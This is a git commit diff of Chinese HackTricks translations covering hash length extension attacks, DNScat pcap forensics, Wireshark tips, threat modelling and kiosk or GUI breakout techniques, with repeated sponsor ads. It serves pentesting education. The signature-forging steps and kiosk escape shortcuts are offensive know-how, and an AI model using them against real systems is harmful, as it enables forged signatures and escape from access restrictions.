Translated ['crypto-and-stego/hash-length-extension-attack.md', 'forensi

This commit is contained in:
Translator 2024-04-18 03:34:06 +00:00
parent fa9128da97
commit ef29c68ab5
34 changed files with 1605 additions and 793 deletions

View file

@ -7,28 +7,41 @@
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上关注我们 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**。**
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上关注我们 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**。**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
</details>
## WhiteIntel
<figure><img src=".gitbook/assets/image (1224).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io) 是一个由**暗网**支持的搜索引擎,提供免费功能,用于检查公司或其客户是否受到**窃取恶意软件**的侵害。
WhiteIntel的主要目标是打击由信息窃取恶意软件导致的账户劫持和勒索软件攻击。
您可以访问他们的网站并免费尝试他们的引擎:
{% embed url="https://whiteintel.io" %}
---
# 攻击摘要
想象一个服务器通过**将一个** **秘密** **附加**到一些已知的明文数据上,然后对该数据进行哈希来**签署**一些**数据**。如果您知道:
想象一个服务器正在通过**将一个** **秘密** **附加**到一些已知明文数据上然后对该数据进行哈希来**签名**数据。如果您知道:
* **秘密的长度**(这也可以从给定长度范围内进行暴力破解)
* **明文数据**
* **算法(及其容易受到此攻击)**
* **填充是已知的**
* 通常会使用默认填充因此如果满足其他3个要求这也是可以的
* 填充取决于秘密+数据的长度,因此需要知道秘密的长度
* 通常会使用默认填充因此如果满足其他3个要求这也是
* 填充根据秘密+数据的长度而变化,这就是为什么需要秘密的长度
那么,攻击者可以**附加** **数据**并为**先前数据+附加数据**生成有效的**签名**
那么,攻击者可以**附加数据**并为**先前数据+附加数据**生成有效的**签名**。
## 如何实现?
基本上,易受攻击的算法首先通过**对数据块进行哈希处理**生成哈希,然后,**从**先前创建的**哈希**(状态)开始,它们**添加下一个数据块**并**对其进行哈希处理**。
基本上,易受攻击的算法通过首先**对数据块进行哈希**,然后,**从**先前创建的**哈希**(状态)开始,它们**添加下一个数据块**并**对其进行哈希**。
然后,想象秘密是"secret",数据是"data""secretdata"的MD5是6036708eba0d11f6ef52ad44e8b74d5b。\
如果攻击者想要附加字符串"append",他可以:
@ -36,16 +49,28 @@
* 生成64个"A"的MD5
* 将先前初始化的哈希状态更改为6036708eba0d11f6ef52ad44e8b74d5b
* 附加字符串"append"
* 完成哈希处理,生成的哈希将是**对"secret" + "data" + "填充" + "append"**有效哈希**
* 完成哈希,生成的哈希将是**对"secret" + "data" + "填充" + "append"**有效哈希
## **工具**
{% embed url="https://github.com/iagox86/hash_extender" %}
# 参考资料
## 参考资料
您可以在[https://blog.skullsecurity.org/2012/everything-you-need-to-know-about-hash-length-extension-attacks](https://blog.skullsecurity.org/2012/everything-you-need-to-know-about-hash-length-extension-attacks)中找到对此攻击的很好解释。
## WhiteIntel
<figure><img src=".gitbook/assets/image (1224).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io) 是一个由**暗网**支持的搜索引擎,提供免费功能,用于检查公司或其客户是否受到**窃取恶意软件**的侵害。
WhiteIntel的主要目标是打击由信息窃取恶意软件导致的账户劫持和勒索软件攻击。
您可以访问他们的网站并免费尝试他们的引擎:
{% embed url="https://whiteintel.io" %}
<details>
<summary><strong>从零开始学习AWS黑客技术成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS红队专家</strong></a><strong></strong></summary>
@ -55,7 +80,7 @@
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上关注我们 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**。**
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上关注我们 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**。**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
</details>

View file

@ -1,6 +1,6 @@
<details>
<summary><strong>从零开始学习AWS黑客技术</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS红队专家</strong></a><strong></strong></summary>
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
支持HackTricks的其他方式
@ -12,10 +12,23 @@
</details>
## WhiteIntel
如果您有包含通过DNSCat**进行数据外泄的pcap文件**(未使用加密),您可以找到外泄的内容。
<figure><img src=".gitbook/assets/image (1224).png" alt=""><figcaption></figcaption></figure>
您只需要知道**前9个字节**不是真实数据,而是与**C\&C通信**相关的。
[**WhiteIntel**](https://whiteintel.io) 是一个由**暗网**支持的搜索引擎,提供**免费**功能,用于检查公司或其客户是否受到**窃取恶意软件**的**侵害**。
WhiteIntel的主要目标是打击由信息窃取恶意软件导致的账户劫持和勒索软件攻击。
您可以访问他们的网站并免费尝试他们的引擎:
{% embed url="https://whiteintel.io" %}
---
如果您有包含通过**DNSCat**进行**数据外泄**的pcap文件未使用加密您可以找到外泄的内容。
您只需要知道**前9个字节**不是真实数据,而是与**C\&C通信**相关的内容:
```python
from scapy.all import rdpcap, DNSQR, DNSRR
import struct
@ -39,12 +52,12 @@ last = qry
有一个与Python3配合使用的脚本: [https://github.com/josemlwdf/DNScat-Decoder](https://github.com/josemlwdf/DNScat-Decoder)
```
```bash
python3 dnscat_decoder.py sample.pcap bad_domain
```
<details>
<summary><strong>从零开始学习AWS黑客技术成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
<summary><strong>从零开始学习AWS黑客技术成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS红队专家</strong></a><strong></strong></summary>
其他支持HackTricks的方式

View file

@ -4,18 +4,32 @@
<details>
<summary><strong>从零开始学习AWS黑客技术成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS红队专家</strong></a><strong></strong></summary>
<summary><strong>从零开始学习AWS黑客技术成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
支持HackTricks的其他方式
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[NFT](https://opensea.io/collection/the-peass-family)收藏品
* 探索[**PEASS Family**](https://opensea.io/collection/the-peass-family),我们的独家[NFTs](https://opensea.io/collection/the-peass-family)系列
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上关注我们 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**。**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
</details>
## WhiteIntel
<figure><img src=".gitbook/assets/image (1224).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io)是一个由**暗网**支持的搜索引擎,提供**免费**功能,用于检查公司或其客户是否受到**窃取恶意软件**的**侵害**。
WhiteIntel的主要目标是打击由信息窃取恶意软件导致的账户劫持和勒索软件攻击。
您可以访问他们的网站并免费尝试他们的引擎:
{% embed url="https://whiteintel.io" %}
---
## 提升您的Wireshark技能
### 教程
@ -31,13 +45,13 @@
**专家信息**
_**Analyze** --> **Expert Information**_ 您将获得对**分析**数据包的**概述**
_**Analyze** --> **Expert Information**_ 您将获得对**分析**数据包中发生的情况的**概述**
![](<../../../.gitbook/assets/image (570).png>)
**解析地址**
**解析地址**
_**Statistics --> Resolved Addresses**_您可以找到Wireshark解析的一些信息如端口/传输到协议MAC到制造商等。了解通信中涉及的内容是很有趣的。
_**Statistics --> Resolved Addresses**_您可以找到Wireshark已经“**解析**”的一些信息,如端口/传输到协议MAC地址到制造商等。了解通信中涉及的内容是很有趣的。
![](<../../../.gitbook/assets/image (571).png>)
@ -85,19 +99,19 @@
### 搜索
如果您想在会话的数据包中**搜索**内容,请按下CTRL+f。您可以通过按右键然后编辑列来向主信息栏添加新层(编号、时间、来源等)。
如果您想在会话的数据包中**搜索**内容,请按下_Ctrl+f_。您可以通过按右键然后编辑列来向主信息栏添加新层(编号、时间、来源等)。
### 免费的pcap实验室
**练习免费挑战[https://www.malware-traffic-analysis.net/](https://www.malware-traffic-analysis.net)**
**通过免费挑战练习[https://www.malware-traffic-analysis.net/](https://www.malware-traffic-analysis.net)**
## 识别域名
您可以添加一个显示Host HTTP头的列:
您可以添加一个显示Host HTTP头的列
![](<../../../.gitbook/assets/image (403).png>)
以及添加一个从初始HTTPS连接中添加服务器名称的列**ssl.handshake.type == 1**
以及添加一个从发起的HTTPS连接中添加服务器名称的列**ssl.handshake.type == 1**
![](<../../../.gitbook/assets/image (408) (1).png>)
@ -117,11 +131,11 @@
### 使用服务器私钥解密https流量
_edit>preference>protocol>ssl>_
_编辑>首选项>协议>ssl>_
![](<../../../.gitbook/assets/image (98).png>)
点击_Edit_然后添加服务器和私钥的所有数据_IP、端口、协议、密钥文件和密码_
点击_编辑_添加服务器和私钥的所有数据_IP、端口、协议、密钥文件和密码_
### 使用对称会话密钥解密https流量
@ -129,14 +143,13 @@ Firefox和Chrome都可以记录TLS会话密钥这些密钥可以与Wireshark
要检测此内容,请在环境中搜索变量`SSLKEYLOGFILE`
共享密钥文件如下所示
共享密钥文件看起来像这样
![](<../../../.gitbook/assets/image (99).png>)
要将其导入Wireshark请转到_edit > preference > protocol > ssl > 并将其导入到Pre-Master-Secret日志文件名
要将此导入Wireshark请转到\_编辑 > 首选项 > 协议 > ssl > 并将其导入到Pre-Master-Secret日志文件名
![](<../../../.gitbook/assets/image (100).png>)
## ADB通信
从发送APK的ADB通信中提取APK
@ -166,16 +179,28 @@ f = open('all_bytes.data', 'w+b')
f.write(all_bytes)
f.close()
```
## WhiteIntel
<figure><img src=".gitbook/assets/image (1224).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io) 是一个由**暗网**支持的搜索引擎,提供**免费**功能,用于检查公司或其客户是否受到**窃取恶意软件**的**侵害**。
WhiteIntel的主要目标是打击由窃取信息恶意软件导致的账户劫持和勒索软件攻击。
您可以访问他们的网站并免费尝试他们的引擎:
{% embed url="https://whiteintel.io" %}
<details>
<summary><strong>从零开始学习AWS黑客技术成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
<summary><strong>从零开始学习AWS黑客技术成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS红队专家</strong></a><strong></strong></summary>
其他支持HackTricks的方式
支持HackTricks的其他方式:
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 如果您想在HackTricks中看到您的**公司广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 探索我们的独家[**NFTs**]收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**。**
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上关注我们 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**。**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
</details>

View file

@ -1,58 +1,72 @@
# 威胁建模
## WhiteIntel
<figure><img src=".gitbook/assets/image (1224).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io) 是一个由**暗网**推动的搜索引擎,提供**免费**功能,用于检查公司或其客户是否已受到**窃取恶意软件**的**威胁**。
WhiteIntel的主要目标是打击由信息窃取恶意软件导致的账户劫持和勒索软件攻击。
您可以访问他们的网站并免费尝试他们的引擎:
{% embed url="https://whiteintel.io" %}
---
## 威胁建模
欢迎来到HackTricks关于威胁建模的全面指南在这个关键的网络安全方面我们将识别、理解和制定对系统潜在漏洞的策略。本文提供了一份逐步指南其中包含了真实世界的示例、有用的软件和易于理解的解释。非常适合初学者和有经验的从业人员希望加强他们的网络安全防御能力。
欢迎来到HackTricks关于威胁建模的全面指南探索这个关键的网络安全方面,我们在这里识别、理解并制定对抗系统潜在漏洞的策略。本文提供了一步一步的指南,包含了现实世界的示例、有用的软件和易于理解的解释。适用于初学者和有经验的从业者,希望加固其网络安全防御
### 常用场景
1. **软件开发**作为安全软件开发生命周期SSDLC的一部分威胁建模有助于在开发的早期阶段**识别潜在的漏洞来源**。
2. **渗透测试**渗透测试执行标准PTES框架要求在进行测试之前进行威胁建模以了解系统的漏洞。
2. **渗透测试**渗透测试执行标准PTES框架要求在进行测试之前进行**威胁建模以了解系统的漏洞**
### 威胁模型简介
威胁模型通常以图表、图像或其他形式的可视化说明来表示,这些说明描述了应用程序的计划架构或现有构建。它类似于**数据流图**,但其关键区别在于其面向安全的设计。
威胁模型通常以图表、图像或其他形式的视觉展示来表示,展示应用程序的计划架构或现有构建。它类似于**数据流图**,但其关键区别在于其面向安全的设计。
威胁模型通常包含以红色标记的元素表示潜在的漏洞、风险或障碍。为了简化风险识别的过程采用了CIA机密性、完整性、可用性三元组这是许多威胁建模方法的基础其中STRIDE是最常用的方法之一。然而选择的方法可能因具体的上下文和要求而有所不同。
威胁模型通常包含红色标记的元素,表示潜在的漏洞、风险或障碍。为了简化风险识别过程,通常采用CIA机密性、完整性、可用性三元组构成许多威胁建模方法的基础STRIDE是其中最常见的之一。然而选择的方法可能会根据具体的上下文和要求而有所不同。
### CIA三元组
CIA三元组是信息安全领域广泛认可的模型代表机密性Confidentiality、完整性Integrity和可用性Availability。这三个支柱构成了许多安全措施和政策的基础,包括威胁建模方法。
CIA三元组是信息安全领域广泛认可的模型,代表机密性、完整性和可用性。这三个支柱构成了许多安全措施和政策的基础,包括威胁建模方法。
1. **机密性**:确保数据或系统不被未经授权的个人访问。这是安全的核心方面,需要适当的访问控制、加密和其他措施来防止数据泄露。
2. **完整性**:数据在其生命周期内的准确性、一致性和可信度。这个原则确保数据不被未经授权的人篡改或篡改。它通常涉及校验和哈希等数据验证方法。
3. **可用性**:确保数据和服务在需要时对授权用户可访问。这通常涉及冗余、容错和高可用性配置,以确保系统即使在面临干扰时也能正常运行。
2. **完整性**:数据在其生命周期中的准确性、一致性和可信度。这一原则确保数据不会被未经授权的方进行更改或篡改。通常涉及校验和哈希等数据验证方法。
3. **可用性**:确保数据和服务在需要时对授权用户可访问。这通常涉及冗余、容错和高可用性配置,以确保即使面临中断,系统也能继续运行。
### 威胁建模方法
1. **STRIDE**由微软开发STRIDE是**欺骗、篡改、否认、信息泄露、拒绝服务和权限提升**的首字母缩写。每个类别代表一种威胁类型,这种方法通常在程序或系统的设计阶段用于识别潜在威胁。
2. **DREAD**这是微软的另一种用于已识别威胁的风险评估方法。DREAD代表**损害潜力、可重现性、可利用性、受影响的用户和可发现性**。对这些因素进行评分,并将结果用于优先考虑已识别的威胁。
3. **PASTA**(攻击模拟和威胁分析过程):这是一个包含步骤的**风险中心**方法。它包括定义和识别安全目标、创建技术范围、应用程序分解、威胁分析、漏洞分析和风险/分类评估。
4. **Trike**:这是一种以风险管理为重点的方法,侧重于保护资产。它从**风险管理**的角度出发,考虑威胁和漏洞。
5. **VAST**可视化、敏捷和简单的威胁建模):这种方法旨在更易于理解,并集成到敏捷开发环境中。它结合了其他方法的要素,并侧重于**威胁的可视化表示**。
6. **OCTAVE**运营关键威胁、资产和漏洞评估由CERT协调中心开发该框架针对**组织风险评估而非特定系统或软件**。
1. **STRIDE**由微软开发STRIDE是**欺骗、篡改、否认、信息披露、服务拒绝和权限提升**的首字母缩写。每个类别代表一种威胁类型,这种方法通常用于程序或系统设计阶段,以识别潜在威胁。
2. **DREAD**这是微软的另一种用于已识别威胁的风险评估方法。DREAD代表**破坏潜力、可重现性、可利用性、受影响用户和可发现性**。对这些因素进行评分,结果用于优先考虑已识别的威胁。
3. **PASTA**(攻击模拟和威胁分析过程):这是一个七步骤的**风险中心**方法。它包括定义和识别安全目标、创建技术范围、应用程序分解、威胁分析、漏洞分析和风险/分类评估。
4. **Trike**:这是一个以风险为基础的方法,侧重于保护资产。它从**风险管理**的角度出发,看待威胁和漏洞。
5. **VAST**视觉、敏捷和简单威胁建模):这种方法旨在更易于访问,并集成到敏捷开发环境中。它结合了其他方法的元素,侧重于**威胁的视觉表示**。
6. **OCTAVE**运营关键威胁、资产和漏洞评估由CERT协调中心开发该框架旨在进行**组织风险评估而不是特定系统或软件**。
## 工具
有几种可用的工具和软件解决方案可以**辅助**创建和管理威胁模型。以下是一些您可能考虑的工具。
有几种工具和软件解决方案可用于帮助创建和管理威胁模型。以下是您可能考虑的一些工具。
### [SpiderSuite](https://github.com/3nock/SpiderSuite)
一款先进的跨平台、多功能GUI网络蜘蛛/爬虫,适用于网络安全专业人。Spider Suite可用于攻击面映射和分析。
一款先进的跨平台、多功能GUI网络蜘蛛/爬虫,适用于网络安全专业人。Spider Suite可用于攻击面映射和分析。
**用法**
1. 选择一个URL并进行爬行
1. 选择一个URL并爬取
<figure><img src="../.gitbook/assets/threatmodel_spidersuite_1.png" alt=""><figcaption></figcaption></figure>
2. 查看图
2. 查看图
<figure><img src="../.gitbook/assets/threatmodel_spidersuite_2.png" alt=""><figcaption></figcaption></figure>
### [OWASP Threat Dragon](https://github.com/OWASP/threat-dragon/releases)
OWASP的一个开源项目Threat Dragon是一个包含系统图形化和规则引擎自动生成威胁/缓解措施的Web和桌面应用程序。
来自OWASP的开源项目Threat Dragon是一个包含系统图和规则引擎自动生成威胁/缓解措施的Web和桌面应用程序。
**用法**
@ -60,7 +74,7 @@ OWASP的一个开源项目Threat Dragon是一个包含系统图形化和规
<figure><img src="../.gitbook/assets/create_new_project_1.jpg" alt=""><figcaption></figcaption></figure>
有时可能看起来像这样:
有时可能看起来像这样:
<figure><img src="../.gitbook/assets/1_threatmodel_create_project.jpg" alt=""><figcaption></figcaption></figure>
@ -74,17 +88,17 @@ OWASP的一个开源项目Threat Dragon是一个包含系统图形化和规
4. 创建您的模型
您可以使用SpiderSuite Crawler等工具来给您灵感一个基本的模型可能如下所示
您可以使用SpiderSuite爬虫等工具来获得灵感,一个基本模型可能看起来像这样
<figure><img src="../.gitbook/assets/0_basic_threat_model.jpg" alt=""><figcaption></figcaption></figure>
对实体的一点解释:
对实体的简要解释:
* 实体本身如Web服务器或Web功能
* 实体本身如Web服务器或Web功能
* 演员(人员,如网站访问者、用户或管理员)
* 数据流线(交互指示器)
* 信任边界(不同的网络段或范围)
* 存储(存储数据的地方,如数据库)
* 信任边界(不同的网络段或范围
* 存储(数据存储的地方,如数据库)
5. 创建威胁步骤1
@ -96,15 +110,28 @@ OWASP的一个开源项目Threat Dragon是一个包含系统图形化和规
<figure><img src="../.gitbook/assets/4_threatmodel_create-threat.jpg" alt=""><figcaption></figcaption></figure>
记住,演员威胁和进程威胁之间存在区别。如果您向演员添加威胁,那么您只能选择“欺骗”和“否认”。然而,在我们的示例中,我们向进程实体添加威胁,因此在威胁创建框中我们将看到以下内容
注意,演员威胁和过程威胁之间存在区别。如果您向演员添加威胁,那么您只能选择“欺骗”和“否认”。但在我们的示例中,我们向过程实体添加威胁,因此我们将在威胁创建框中看到这一点
<figure><img src="../.gitbook/assets/2_threatmodel_type-option.jpg" alt=""><figcaption></figcaption></figure>
6. 完成
现在您完成的模型应该看起来像这样。这就是您如何使用OWASP Threat Dragon创建一个简单的威胁模型。
现在您完成的模型应该看起来像这样。这就是您如何使用OWASP Threat Dragon制作简单的威胁模型。
<figure><img src="../.gitbook/assets/threat_model_finished.jpg" alt=""><figcaption></figcaption></figure>
### [Microsoft威胁建模工具](https://aka.ms/threatmodelingtool)
这是微软提供的免费工具可帮助在软件项目的设计阶段发现威胁。它使用STRIDE方法论特别适用于在微软的技术栈上进行开发的人员。
这是微软提供的免费工具可帮助在软件项目的设计阶段发现威胁。它使用STRIDE方法论特别适用于在微软平台上开发的人员。
## WhiteIntel
<figure><img src=".gitbook/assets/image (1224).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io) 是一个由**暗网**支持的搜索引擎,提供免费功能,用于检查公司或其客户是否受到**窃取恶意软件**的**威胁**。
WhiteIntel的主要目标是打击由窃取信息恶意软件导致的账户劫持和勒索软件攻击。
您可以访问他们的网站并免费尝试他们的引擎:
{% embed url="https://whiteintel.io" %}

View file

@ -4,18 +4,31 @@
支持HackTricks的其他方式
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASSHackTricks周边产品**](https://peass.creator-spring.com)
* 如果您想在HackTricks中看到您的**公司广告**或**下载PDF版HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上关注我们 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
</details>
## WhiteIntel
# 检查GUI应用程序中可能的操作
<figure><img src=".gitbook/assets/image (1224).png" alt=""><figcaption></figcaption></figure>
**常见对话框**是指**保存文件**、**打开文件**、选择字体、颜色等选项。大多数情况下,这些选项将**提供完整的资源管理器功能**。这意味着如果您可以访问这些选项,则可以访问资源管理器功能:
[**WhiteIntel**](https://whiteintel.io)是一个由**暗网**支持的搜索引擎,提供**免费**功能,用于检查公司或其客户是否受到**窃取恶意软件**的**侵害**。
WhiteIntel的主要目标是打击由信息窃取恶意软件导致的账户劫持和勒索软件攻击。
您可以访问他们的网站并免费尝试他们的引擎:
{% embed url="https://whiteintel.io" %}
---
# 检查GUI应用程序内的可能操作
**常见对话框**是那些**保存文件**、**打开文件**、选择字体、颜色等选项。大多数情况下,这些对话框将**提供完整的资源管理器功能**。这意味着如果您可以访问这些选项,则可以访问资源管理器功能:
* 关闭/关闭为
* 打开/打开方式
@ -33,7 +46,7 @@
## 命令执行
也许**使用`打开方式`**选项**可以打开/执行某种类型的shell。
也许**使用`打开方式`**选项**可以打开/执行某种类型的shell。
### Windows
@ -41,13 +54,13 @@
### \*NIX __
_bash, sh, zsh..._ 更多信息请参阅[https://gtfobins.github.io/](https://gtfobins.github.io)
_bash, sh, zsh..._ 更多信息请查看[https://gtfobins.github.io/](https://gtfobins.github.io)
# Windows
## 绕过路径限制
* **环境变量**:有许多指向某些路径的环境变量
* **环境变量**:有许多环境变量指向某些路径
* **其他协议**_about:, data:, ftp:, file:, mailto:, news:, res:, telnet:, view-source:_
* **符号链接**
* **快捷方式**CTRL+N打开新会话CTRL+R执行命令CTRL+SHIFT+ESC任务管理器Windows+E打开资源管理器CTRL-BCTRL-I收藏夹CTRL-H历史记录CTRL-LCTRL-O文件/打开对话框CTRL-P打印对话框CTRL-S另存为
@ -95,7 +108,7 @@ _bash, sh, zsh..._ 更多信息请参阅:[https://gtfobins.github.io/](https:/
* Filter Keys 按住右SHIFT键12秒钟
* WINDOWS+F1 Windows搜索
* WINDOWS+D 显示桌面
* WINDOWS+E 打开资源管理器
* WINDOWS+E 启动Windows资源管理器
* WINDOWS+R 运行
* WINDOWS+U 辅助功能中心
* WINDOWS+F 搜索
@ -110,21 +123,20 @@ _bash, sh, zsh..._ 更多信息请参阅:[https://gtfobins.github.io/](https:/
* CTRL+N Internet Explorer 新页面
* CTRL+O 打开文件
* CTRL+S 保存 CTRL+N 新RDP / Citrix
## 滑动手势
* 从左侧向右滑动以查看所有打开的窗口最小化KIOSK应用程序并直接访问整个操作系统
* 从右侧向左滑动以打开操作中心最小化KIOSK应用程序并直接访问整个操作系统
* 从顶部边缘向内滑动使全屏模式下打开的应用程序的标题栏可见;
* 从底部向上滑动,显示全屏应用程序中的任务栏。
* 从顶部边缘向内滑动使全屏模式下打开的应用程序的标题栏可见;
* 从底部向上滑动以在全屏应用程序中显示任务栏。
## Internet Explorer技巧
## Internet Explorer 技巧
### '图像工具栏'
这是一个工具栏,当单击图像时会出现在图像的左上角。您将能够保存、打印、发送电子邮件、在资源管理器中打开“我的图片”。Kiosk需要使用Internet Explorer。
这是一个工具栏当单击图像时会出现在图像的左上角。您将能够保存、打印、发送邮件、在资源管理器中打开“我的图片”。Kiosk需要使用Internet Explorer。
### Shell协议
### Shell 协议
键入以下URL以获取资源管理器视图
@ -156,7 +168,7 @@ _bash, sh, zsh..._ 更多信息请参阅:[https://gtfobins.github.io/](https:/
# 浏览器技巧
备份iKat版本
备份 iKat 版本:
[http://swin.es/k/](http://swin.es/k/)\
[http://www.ikat.kronicd.net/](http://www.ikat.kronicd.net)\
@ -168,13 +180,13 @@ _bash, sh, zsh..._ 更多信息请参阅:[https://gtfobins.github.io/](https:/
## 手势和按钮
* 使用四(或五)个手指向上滑动/双击Home按钮:查看多任务视图并更改应用程序
* 使用四(或五)个手指向上滑动/双击主页按钮:查看多任务视图并更改应用程序
* 使用四或五个手指向左或向右滑动:以切换到下一个/上一个应用程序
* 用五个手指捏屏幕/触摸Home按钮/从屏幕底部向上快速滑动一个手指:访问主屏幕
* 用五个手指捏屏幕/触摸主页按钮/从屏幕底部向上快速滑动一个手指:访问主屏幕
* 用一个手指从屏幕底部向上缓慢滑动1-2英寸会出现Dock
* 用一个手指从屏幕底部向下缓慢滑动1-2英寸会出现底栏
* 用一个手指从屏幕顶部向下滑动:查看通知
@ -182,86 +194,132 @@ _bash, sh, zsh..._ 更多信息请参阅:[https://gtfobins.github.io/](https:/
* 用一个手指从屏幕左侧向右滑动1-2英寸查看今天视图
* 用一个手指快速从屏幕中心向右或向左滑动:切换到下一个/上一个应用程序
* 用一个手指快速从屏幕中心向左或向右滑动:切换到下一个/上一个应用程序
* 按住iPad右上角的On/**Off**/Sleep按钮 + 将滑块全部向右移动:关机
* 按住iPad右上角的开/关/睡眠按钮并将“滑动以关机”滑块全部向右滑动:关机
* 按住iPad右上角的On/**Off**/Sleep按钮 + Home按钮几秒钟:强制硬关机
* 按住iPad右上角的开/关/睡眠按钮和主页按钮几秒钟:强制硬关机
* 快速按下iPad右上角的On/**Off**/Sleep按钮 + Home按钮拍摄屏幕截图截图将在显示屏左下角弹出。同时短按两个按钮如果您按住几秒钟将执行硬关机。
* 快速按下iPad右上角的开/关/睡眠按钮和主页按钮:拍摄屏幕截图,截图将弹出在显示屏左下角。同时短暂按下两个按钮,如果您按住几秒钟,将执行强制关机。
## 快捷键
您应该有一个iPad键盘或USB键盘适配器。这里只显示可帮助退出应用程序的快捷键。
您应该有一个iPad键盘或USB键盘适配器。这里只显示可帮助退出应用程序的快捷键。
| 键 | 名称 |
| 键 | 名称 |
| --- | ------------ |
| ⌘ | Command |
| ⌥ | Option (Alt) |
| ⌘ | 命令 |
| ⌥ | 选项Alt |
| ⇧ | Shift |
| ↩ | Return |
| ↩ | 返回 |
| ⇥ | Tab |
| ^ | Control |
| ← | Left Arrow |
| → | Right Arrow |
| ↑ | Up Arrow |
| ↓ | Down Arrow |
| ^ | 控制 |
| ← | 左箭头 |
| → | 右箭头 |
| ↑ | 上箭头 |
| ↓ | 下箭头 |
### 系统快捷键
这些快捷键用于iPad的视觉设置和声音设置具体取决于iPad的使用方式
